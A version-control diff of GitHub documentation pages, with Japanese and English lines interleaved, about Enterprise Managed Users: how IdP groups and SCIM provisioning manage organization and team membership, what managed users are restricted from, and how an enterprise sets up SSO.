{% data variables.product.prodname_emus %} を使用するには、{% data variables.product.prodname_emus %} を有効にした別の種類の Enterprise アカウントが必要です。 このアカウントの作成の詳細については、「[Managed User を含む Enterprise について](#about-enterprises-with-managed-users)」を参照してください。
To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. For more information about creating this account, see "[About enterprises with managed users](#about-enterprises-with-managed-users)."
{% note %}
**注:** {% data variables.product.prodname_ghe_cloud %} を使った ID とアクセスの管理には複数のオプションがあるので、{% data variables.product.prodname_emus %} はすべてのお客様にとって最適なソリューションではありません。 {% data variables.product.prodname_emus %} がお客様の企業に適しているかどうかについては、「[企業の認証について](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)」を参照してください。
**Note:** There are multiple options for identity and access management with {% data variables.product.prodname_ghe_cloud %}, and {% data variables.product.prodname_emus %} is not the best solution for every customer. For more information about whether {% data variables.product.prodname_emus %} is right for your enterprise, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)."
{% endnote %}
## Organization メンバーシップの管理について
## About organization membership management
Organization メンバーシップは、手動で管理することも、IdP グループを使用して自動的に更新することもできます。 IdP を使用して Organization メンバーシップを管理するには、メンバーを IdP グループに追加し、IdP グループを Organization 内の Team に接続する必要があります。 Organization および Team のメンバーシップの管理に関する詳しい情報については、「[ID プロバイダー グループによる Team メンバーシップの管理](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)」を参照してください。
Organization memberships can be managed manually, or you can update memberships automatically using IdP groups. To manage organization memberships through your IdP, the members must be added to an IdP group, and the IdP group must be connected to a team within the organization. For more information about managing organization and team memberships automatically, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
Enterprise によって所有されている Organization にメンバーを追加する方法によって、Organization からメンバーを削除する方法が決定されます。
The way a member is added to an organization owned by your enterprise (through IdP groups or manually) determines how they must be removed from an organization.
- メンバーを手動で Organization に追加した場合、手動で削除する必要があります。 IdP 上の {% data variables.product.prodname_emu_idp_application %} アプリケーションからユーザーの割り当て解除を行うと、ユーザーは停止されますが、Organization から削除されません。
- Organization 内の 1 つ以上の Team にマップされた IdP グループに追加されたために、ユーザーが Organization のメンバーになった場合、Organization に関連付けられている "すべて" のマップされた IdP グループからユーザーを削除すると、ユーザーは Organization から削除されます。
- If a member was added to an organization manually, you must remove them manually. Unassigning them from the {% data variables.product.prodname_emu_idp_application %} application on your IdP will suspend the user but not remove them from the organization.
- If a user became a member of an organization because they were added to IdP groups mapped to one or more teams in the organization, removing them from _all_ of the mapped IdP groups associated with the organization will remove them from the organization.
メンバーが Organization に追加された方法を確認するには、メンバー リストを種類でフィルター処理できます。 詳細については、「[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users)」 (Enterprise のメンバーを表示する) を参照してください。
To discover how a member was added to an organization, you can filter the member list by type. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users)."
## ID プロバイダーのサポート
## Identity provider support
{% data variables.product.prodname_emus %} は、以下の IdP{% ifversion oidc-for-emu %} と認証方法をサポートしています。
{% data variables.product.prodname_emus %} supports the following IdPs{% ifversion oidc-for-emu %} and authentication methods:
| | SAML | OIDC (ベータ) |
| | SAML | OIDC (beta) |
|----------------------------------|-----------------------------------------------|-----------------------------------------------|
| Azure Active Directory | {% octicon "check" aria-label="Check icon" %} | {% octicon "check" aria-label="Check icon" %} |
| Okta | {% octicon "check" aria-label="Check icon" %} | |
@@ -75,35 +70,36 @@ Enterprise によって所有されている Organization にメンバーを追
{% endif %}
## {% data variables.enterprise.prodname_managed_users %}の機能と制限
## Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}
{% data variables.enterprise.prodname_managed_users_caps %}で投稿できるのは、その Enterprise 内のプライベートおよび内部リポジトリと、そのユーザー アカウントによって所有されているプライベート リポジトリのみです。 {% data variables.enterprise.prodname_managed_users_caps %}には、より広範な {% data variables.product.prodname_dotcom %} コミュニティへの読み取り専用アクセス権が必要です。 ユーザーとコンテンツに対するこれらの可視性とアクセスの制限は、API 要求を含むすべての要求に適用されます。
{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.enterprise.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community. These visibility and access restrictions for users and content apply to all requests, including API requests.
* {% data variables.enterprise.prodname_managed_users_caps %}を Enterprise 外部の Organization またはリポジトリに招待することも、{% data variables.enterprise.prodname_managed_users %}を他の Enterprise に招待することもできません。
* 外部のコラボレーターは、{% data variables.product.prodname_emus %} ではサポートされていません。
* {% data variables.enterprise.prodname_managed_users_caps %}では、Enterprise 外部のリポジトリでの Issue または pull request の作成、Enterprise 外部のリポジトリへのリアクションの追加、Enterprise 外部のリポジトリに対する Star、Watch または Fork 操作を行うことはできません。
* {% data variables.enterprise.prodname_managed_users_caps %} {% data variables.product.prodname_dotcom_the_website %} のすべてのパブリック リポジトリを表示することはできますが、Enterprise 外部のリポジトリにコードをプッシュすることはできません。
* {% data variables.enterprise.prodname_managed_users_caps %}と作成されたコンテンツは、その Enterprise の他のメンバーにのみ表示されます。
* {% data variables.enterprise.prodname_managed_users_caps %}では、Enterprise 外部のユーザーをフォローできません。
* {% data variables.enterprise.prodname_managed_users_caps %}では、gists を作成したり、gists に対してコメントしたりすることはできません。
* {% data variables.enterprise.prodname_managed_users_caps %}では、{% data variables.product.prodname_actions %} のスターター ワークフローを作成できません。
* {% data variables.enterprise.prodname_managed_users_caps %}では、そのユーザー アカウントに {% data variables.product.prodname_github_apps %} をインストールできません。
* 他の {% data variables.product.prodname_dotcom %} ユーザーは、{% data variables.enterprise.prodname_managed_user %}を表示またはメンションしたり、共同作業に招待したりすることはできません。
* ユーザー アカウントによって所有されるリポジトリを{% data variables.enterprise.prodname_managed_users %}で作成できるかどうかを選ぶことができます。 詳細については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)」を参照してください。
* ユーザー アカウントによって所有されるリポジトリの作成を{% data variables.enterprise.prodname_managed_users %}に許可した場合、所有できるのはプライベート リポジトリのみであり、他のエンタープライズ メンバーを招待して共同作業を行うことができるのは、ユーザー所有のリポジトリのみです。
* {% data variables.enterprise.prodname_managed_users_caps %} cannot be invited to organizations or repositories outside of the enterprise, nor can the {% data variables.enterprise.prodname_managed_users %} be invited to other enterprises.
* Outside collaborators are not supported by {% data variables.product.prodname_emus %}.
* {% data variables.enterprise.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise.
* {% data variables.enterprise.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise.
* {% data variables.enterprise.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise.
* {% data variables.enterprise.prodname_managed_users_caps %} cannot follow users outside of the enterprise.
* {% data variables.enterprise.prodname_managed_users_caps %} cannot create gists or comment on gists.
* {% data variables.enterprise.prodname_managed_users_caps %} cannot create starter workflows for {% data variables.product.prodname_actions %}.
* {% data variables.enterprise.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts.
* Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.enterprise.prodname_managed_user %} to collaborate.
* You can choose whether {% data variables.enterprise.prodname_managed_users %} are able to create repositories owned by their user accounts. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)."
* If you allow {% data variables.enterprise.prodname_managed_users %} to create repositories owned by their user accounts, they can only own private repositories and can only invite other enterprise members to collaborate on their user-owned repositories.
* {% data reusables.enterprise-accounts.emu-forks %}
* {% data variables.enterprise.prodname_emu_enterprise %} が所有する Organization では、Organization および Enterprise リポジトリの可視性の設定に応じて、プライベートおよび内部リポジトリのみを作成できます。
* {% data variables.enterprise.prodname_managed_users_caps %}は、{% data variables.product.prodname_pages %} の使用が制限されます。 詳細については、「[{% data variables.product.prodname_pages %} について](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)」を参照してください。
* Only private and internal repositories can be created in organizations owned by an {% data variables.enterprise.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings.
* {% data variables.enterprise.prodname_managed_users_caps %} are limited in their use of {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)."
* {% data reusables.copilot.emus-cannot-use-copilot %}
## {% data variables.product.prodname_emus %} の概要
## Getting started with {% data variables.product.prodname_emus %}
お客様の開発者が {% data variables.product.prodname_ghe_cloud %} {% data variables.product.prodname_emus %} を使用できるようにするには、お客様が一連の構成手順を実行する必要があります。
Before your developers can use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_emus %}, you must follow a series of configuration steps.
1. {% data variables.product.prodname_emus %} を使用するには、{% data variables.product.prodname_emus %} を有効にした別の種類の Enterprise アカウントが必要です。 {% data variables.product.prodname_emus %} を試用するか、既存の Enterprise から移行するためのオプションについて検討するには、[{% data variables.product.prodname_dotcom %} の営業チーム](https://enterprise.github.com/contact)にお問い合わせください。
1. To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. To try out {% data variables.product.prodname_emus %} or to discuss options for migrating from your existing enterprise, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
GitHub セールス チームの担当者が、新しい {% data variables.enterprise.prodname_emu_enterprise %} を作成するために協力します。 Enterprise を設定するユーザーのメール アドレスと、Enterprise メンバーのユーザー名のサフィックスとして使用されるショートコードを指定する必要があります。 {% data reusables.enterprise-accounts.emu-shortcode %} 詳細については、「[ユーザー名とプロファイル情報](#usernames-and-profile-information)」を参照してください。
Your contact on the GitHub Sales team will work with you to create your new {% data variables.enterprise.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
2. Enterprise を作成すると、{% data variables.product.prodname_dotcom %} からメールが届き、Enterprise のセットアップ ユーザーのパスワードを選択するよう求められます。このユーザーは、Enterprise の最初の所有者になります。 パスワードを設定する際は、Incognito ウィンドウまたはプライベート ブラウズ ウィンドウを使用します。 セットアップ ユーザーは、エンタープライズのシングル サインオンと SCIM プロビジョニング統合を構成するためにのみ使用されます。 SSO が正常に有効になると、エンタープライズ アカウントを管理するためのアクセス権はなくなります。 セットアップ ユーザーのユーザー名は、Enterprise のショートコードにサフィックス `_admin` が付きます。
2. After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SSO is successfully enabled. The setup user's username is your enterprise's shortcode suffixed with `_admin`.
{% note %}
@@ -111,53 +107,54 @@ Enterprise によって所有されている Organization にメンバーを追
{% endnote %}
3. セットアップ ユーザーとしたログインしたら、2 要素認証を有効にすることをお勧めします。 詳細については、「[2 要素認証の構成](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)」を参照してください。
3. After you log in as the setup user, we recommend enabling two-factor authentication. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)."
1. まず、{% ifversion oidc-for-emu %}メンバーが認証する方法を構成します。 Azure Active Directory を ID プロバイダーとして使っている場合、OpenID Connect (OIDC) Security Assertion Markup Language (SAML) のいずれかを選択できます。 どちらのオプションでもメンバーにシームレスなサインイン エクスペリエンスを提供できますが、条件付きアクセス ポリシー (CAP) のサポートが含まれているの OIDC のみです。 ID プロバイダーとして Okta を使っている場合、SAML を使ってメンバーを認証することができます。{% else %}エンタープライズ用に SAML SSO を構成します。 詳細については、「[エンタープライズ マネージド ユーザーの SAML シングル サインオンの構成](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)」を参照してください。{% endif %}
1. To get started, configure {% ifversion oidc-for-emu %}how your members will authenticate. If you are using Azure Active Directory as your identity provider, you can choose between OpenID Connect (OIDC) and Security Assertion Markup Language (SAML). Both options provide a seamless sign-in experience for your members, but only OIDC includes support for Conditional Access Policies (CAP). If you are using Okta as your identity provider, you can use SAML to authenticate your members.{% else %}SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)."{% endif %}
{% ifversion oidc-for-emu %}
まず、選択した認証方法のガイドを参照してください。
To get started, read the guide for your chosen authentication method.
- [エンタープライズ マネージド ユーザーの OIDC の構成](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)
- [エンタープライズ マネージド ユーザーの SAML シングル サインオンの構成](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)
- "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)."
- "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)."
{% endif %}
4. SSO を構成したら、SCIM のプロビジョニングを構成できます。 SCIM は、ID プロバイダーが {% data variables.product.prodname_dotcom_the_website %} 上のメンバー アカウントとチームをプロビジョニングし、管理する方法です。 SCIM のプロビジョニングを構成する場合の詳細については、「[エンタープライズ マネージド ユーザーの SCIM プロビジョニングの構成](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)」を参照してください。
4. Once you have configured SSO, you can configure SCIM provisioning. SCIM is how your identity provider will create {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom_the_website %}. For more information on configuring SCIM provisioning, see "[Configuring SCIM provisioning for enterprise managed users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)."
5. 認証とプロビジョニングを構成したら、メンバーのプロビジョニングとチームの管理を開始できます。 詳細については、「[Managing team memberships with identity provider groups](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups)」 (ID プロバイダー グループを使用して Team のメンバーシップを管理する) を参照してください。
5. Once authentication and provisioning are configured, you can start managing organization membership for your {% data variables.enterprise.prodname_managed_users %} by synchronizing IdP groups with teams. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups)."
エンタープライズのメンバーが 1 つのワークステーションを使用して、{% data variables.enterprise.prodname_managed_user %}と個人アカウントの両方から {% data variables.location.product_location %} のリポジトリに投稿する必要がある場合は、サポートを提供できます。 詳しくは、「[{% data variables.product.prodname_dotcom_the_website %} で複数のユーザー アカウントを持つ開発者をサポートする](#supporting-developers-with-multiple-user-accounts-on-githubcom)」をご覧ください。
If members of your enterprise must use one workstation to contribute to repositories on {% data variables.location.product_location %} from both a {% data variables.enterprise.prodname_managed_user %} and a personal account, you can provide support. For more information, see "[Supporting developers with multiple user accounts on {% data variables.product.prodname_dotcom_the_website %}](#supporting-developers-with-multiple-user-accounts-on-githubcom)."
## {% data variables.enterprise.prodname_managed_user %}として認証を行う
## Authenticating as a {% data variables.enterprise.prodname_managed_user %}
{% data variables.enterprise.prodname_managed_users_caps %}は、ID プロバイダーを介して認証を行う必要があります。 {% data variables.enterprise.prodname_managed_user %}は、認証を行うために、IdP アプリケーション ポータルにアクセスするか、{% data variables.product.prodname_dotcom_the_website %} のログイン ページを使用できます。
{% data variables.enterprise.prodname_managed_users_caps %} must authenticate through their identity provider. To authenticate, a {% data variables.enterprise.prodname_managed_user %} can visit their IdP application portal or use the login page on {% data variables.product.prodname_dotcom_the_website %}.
既定では、認証されていないユーザーが {% data variables.product.prodname_emus %} を使用する Enterprise にアクセスしようとすると、{% data variables.product.company_short %} によって 404 エラーが表示されます。 Enterprise 所有者は、必要に応じて、404 の代わりにシングル サインオン (SSO) への自動リダイレクトを有効にすることができます。 詳細については、「[エンタープライズでのセキュリティ設定のポリシーの適用](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users)」を参照してください。
By default, when an unauthenticated user attempts to access an enterprise that uses {% data variables.product.prodname_emus %}, {% data variables.product.company_short %} displays a 404 error. An enterprise owner can optionally enable automatic redirects to single sign-on (SSO) instead of the 404. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users)."
{% data reusables.enterprise-accounts.about-recovery-codes %} 詳細については、「[Managing recovery codes for your enterprise](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)」 (Enterprise の復旧コードの管理) を参照してください。
{% data reusables.enterprise-accounts.about-recovery-codes %} For more information, see "[Managing recovery codes for your enterprise](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)."
### {% data variables.product.prodname_dotcom_the_website %} を介して{% data variables.enterprise.prodname_managed_user %}として認証を行う
### Authenticating as a {% data variables.enterprise.prodname_managed_user %} via {% data variables.product.prodname_dotcom_the_website %}
1. [https://github.com/login](https://github.com/login) に移動します。
1. [Username or email address] テキスト ボックスに、アンダースコアとショートコードを含むユーザー名を入力します。
![ログイン フォームを示すスクリーンショット](/assets/images/help/enterprises/emu-login-username.png) このフォームでユーザー名が認識されると、フォームは更新されます。 このフォームでパスワードを入力する必要はありません。
1. ID プロバイダーに進むには、 **[Sign in with your identity provider]** をクリックします。
![[Sign in with your identity provider] ボタンを示すスクリーンショット](/assets/images/help/enterprises/emu-login-submit.png)
1. Navigate to [https://github.com/login](https://github.com/login).
1. In the "Username or email address" text box, enter your username including the underscore and short code.
![Screenshot showing login form](/assets/images/help/enterprises/emu-login-username.png)
When the form recognizes your username, the form will update. You do not need to enter your password on this form.
1. To continue to your identity provider, click **Sign in with your identity provider**.
![Screenshot showing "Sign in with your identity provider" button](/assets/images/help/enterprises/emu-login-submit.png)
## ユーザー名とプロファイル情報
## Usernames and profile information
{% data variables.product.product_name %} は、IdP から提供された識別子を正規化することにより、各自のユーザー名を自動的に作成します。 詳細については、「[外部認証におけるユーザー名の考慮事項](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)」を参照してください。
{% data variables.product.product_name %} automatically creates a username for each person by normalizing an identifier provided by your IdP. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."
IdP から提供された識別子の一意の部分が正規化中に削除されると、ユーザーをプロビジョニングするときに競合が発生する場合があります。 ユーザー名の競合が原因でユーザーをプロビジョニングできない場合は、IdP によって提供されるユーザー名を変更する必要があります。 詳しい情報については、「[ユーザー名の問題の解決](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems)」を参照してください。
A conflict may occur when provisioning users if the unique parts of the identifier provided by your IdP are removed during normalization. If you're unable to provision a user due to a username conflict, you should modify the username provided by your IdP. For more information, see "[Resolving username problems](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems)."
{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %}
{% data variables.enterprise.prodname_managed_user %}のプロファイル名とメール アドレスも IdP によって提供されます。 {% data variables.enterprise.prodname_managed_users_caps %}では、{% data variables.product.prodname_dotcom %} 上のプロファイル名またはメール アドレスを変更できません。IdP が提供できるメール アドレスは 1 つのみです。
The profile name and email address of a {% data variables.enterprise.prodname_managed_user %} is also provided by the IdP. {% data variables.enterprise.prodname_managed_users_caps %} cannot change their profile name or email address on {% data variables.product.prodname_dotcom %}, and the IdP can only provide a single email address.
## {% data variables.location.product_location %} で複数のユーザー アカウントを持つ開発者をサポートする
## Supporting developers with multiple user accounts on {% data variables.location.product_location %}
Team のユーザーは、{% data variables.enterprise.prodname_emu_enterprise %} の外部にある {% data variables.location.product_location %} のリソースに投稿することが必要になる場合があります。 たとえば、会社のオープンソース プロジェクト用に別のエンタープライズを保持したい場合があります。 {% data variables.enterprise.prodname_managed_user %}ではパブリック リソースに投稿できないため、ユーザーはこの作業のために個別の個人アカウントを維持する必要があります。
People on your team may need to contribute to resources on {% data variables.location.product_location %} that are outside of your {% data variables.enterprise.prodname_emu_enterprise %}. For example, you may wish to maintain a separate enterprise for your company's open source projects. Because a {% data variables.enterprise.prodname_managed_user %} cannot contribute to public resources, users will need to maintain a separate, personal account for this work.
1 つのワークステーションを使用して {% data variables.location.product_location %} で 2 つのユーザー アカウントから投稿する必要があるユーザーは、Git を設定してプロセスを簡略化できます。 詳しくは、「[複数のアカウントの管理](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)」をご覧ください。
People who must contribute from two user accounts on {% data variables.location.product_location %} using one workstation can configure Git to simplify the process. For more information, see "[Managing multiple accounts](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)."

View File

@@ -80,11 +80,11 @@ To configure provisioning, the setup user with the **@<em>SHORT-CODE</em>_admin*
## Assigning users and groups
After you have configured SAML SSO and provisioning, you will be able provision new users on {% data variables.product.prodname_dotcom_the_website %} by assigning users to the {% data variables.product.prodname_emu_idp_application %} application.
After you have configured SAML SSO and provisioning, you will be able to provision new users on {% data variables.product.prodname_dotcom_the_website %} by assigning users or groups to the {% data variables.product.prodname_emu_idp_application %} application.
{% data reusables.scim.emu-scim-rate-limit %}
You can also automatically manage organization membership by assigning groups to the application and adding them to the "Push Groups" tab in Okta. When the group is provisioned successfully, it will be available to connect to teams in the enterprise's organizations. For more information about managing teams, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
You can also automatically manage organization membership by adding groups to the "Push Groups" tab in Okta. When the group is provisioned successfully, it will be available to connect to teams in the enterprise's organizations. For more information about managing teams, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
When assigning users, you can use the "Roles" attribute in the {% data variables.product.prodname_emu_idp_application %} application to set a user's role in your enterprise on {% data variables.product.product_name %}. For more information on roles, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)."

View File

@@ -17,9 +17,11 @@ topics:
## About provisioning for {% data variables.product.prodname_emus %}
You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise.
You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members.
When you update information associated with a user's identity on your IdP, your IdP will update the user's account on GitHub.com. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} account on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
After you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom %} via SCIM, and the {% data variables.enterprise.prodname_managed_users %} are added to your enterprise. If you assign a group to the application, all users within the group will be provisioned as new {% data variables.enterprise.prodname_managed_users %}.
When you update information associated with a user's identity on your IdP, your IdP will update the user's account on {% data variables.product.prodname_dotcom_the_website %}. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
Groups in your IdP can be used to manage team membership within your enterprise's organizations, allowing you to configure repository access and permissions through your IdP. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
@@ -70,3 +72,9 @@ To configure provisioning, follow the appropriate link from the table below.
| Azure AD | OIDC | [Tutorial: Configure GitHub Enterprise Managed User (OIDC) for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) in the Azure AD documentation |{% endif %}
| Azure AD | SAML | [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in the Azure AD documentation |
| Okta | SAML | [Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) |
{% note %}
**Note:** Azure AD does not support provisioning nested groups. For more information, see [How Application Provisioning works in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#assignment-based-scoping).
{% endnote %}

View File

@@ -1,7 +1,7 @@
---
title: Managing team memberships with identity provider groups
shortTitle: Manage teams with your IdP
intro: 'You can manage team membership on {% data variables.product.product_name %} through your identity provider (IdP) by connecting IdP groups with your {% data variables.enterprise.prodname_emu_enterprise %}.'
intro: 'You can manage team and organization membership on {% data variables.product.product_name %} through your identity provider (IdP) by connecting IdP groups with teams within your {% data variables.enterprise.prodname_emu_enterprise %}.'
product: '{% data reusables.gated-features.emus %}'
redirect_from:
- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups
@@ -20,13 +20,15 @@ topics:
## About team management with {% data variables.product.prodname_emus %}
With {% data variables.product.prodname_emus %}, you can manage team membership within your enterprise through your IdP. When you connect a team in one of your enterprise's organizations to an IdP group, changes to membership from the IdP group are reflected in your enterprise automatically, reducing the need for manual updates and custom scripts.
With {% data variables.product.prodname_emus %}, you can manage team and organization membership within your enterprise through your IdP by connecting {% data variables.product.prodname_dotcom %} teams with IdP groups. When you connect a team in one of your enterprise's organizations to an IdP group, changes to membership from the IdP group are reflected in your enterprise automatically, reducing the need for manual updates and custom scripts.
When a change to an IdP group or a new team connection results in a {% data variables.enterprise.prodname_managed_user %} joining a team in an organization they were not already a member of, the {% data variables.enterprise.prodname_managed_user %} will automatically be added to the organization. Organization owners can also manage organization membership manually. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization if they are not assigned membership in the organization by any other means.
When a change to an IdP group or a new team connection results in a {% data variables.enterprise.prodname_managed_user %} joining a team in an organization they were not already a member of, the {% data variables.enterprise.prodname_managed_user %} will automatically be added to the organization. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization if they are not assigned membership in the organization by any other means.
You can connect a team in your enterprise to one IdP group. You can assign the same IdP group to multiple teams in your enterprise.
{% note %}
If you are connecting an existing team to an IdP group, you must first remove any members that were added manually. After you connect a team in your enterprise to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.prodname_dotcom_the_website %}.
**Note:** Organization owners can also add {% data variables.enterprise.prodname_managed_users %} to organizations manually, as long as the accounts have already been provisioned via SCIM.
{% endnote %}
When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.prodname_dotcom_the_website %} according to the schedule determined by your IdP, so change may not be immediate. Any requests that change team or organization membership will register in the audit log as changes made by the account used to configure user provisioning.
@@ -34,6 +36,14 @@ Teams connected to IdP groups cannot be parents of other teams nor a child of an
To manage repository access for any team in your enterprise, including teams connected to an IdP group, you must make changes on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)".
## Requirements for connecting IdP groups with teams
Before you can connect an IdP group with a team on {% data variables.product.prodname_dotcom %}, you must assign the group to the {% data variables.product.prodname_emu_idp_application %} application in your IdP. For more information, see "[About SCIM provisioning for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users)."
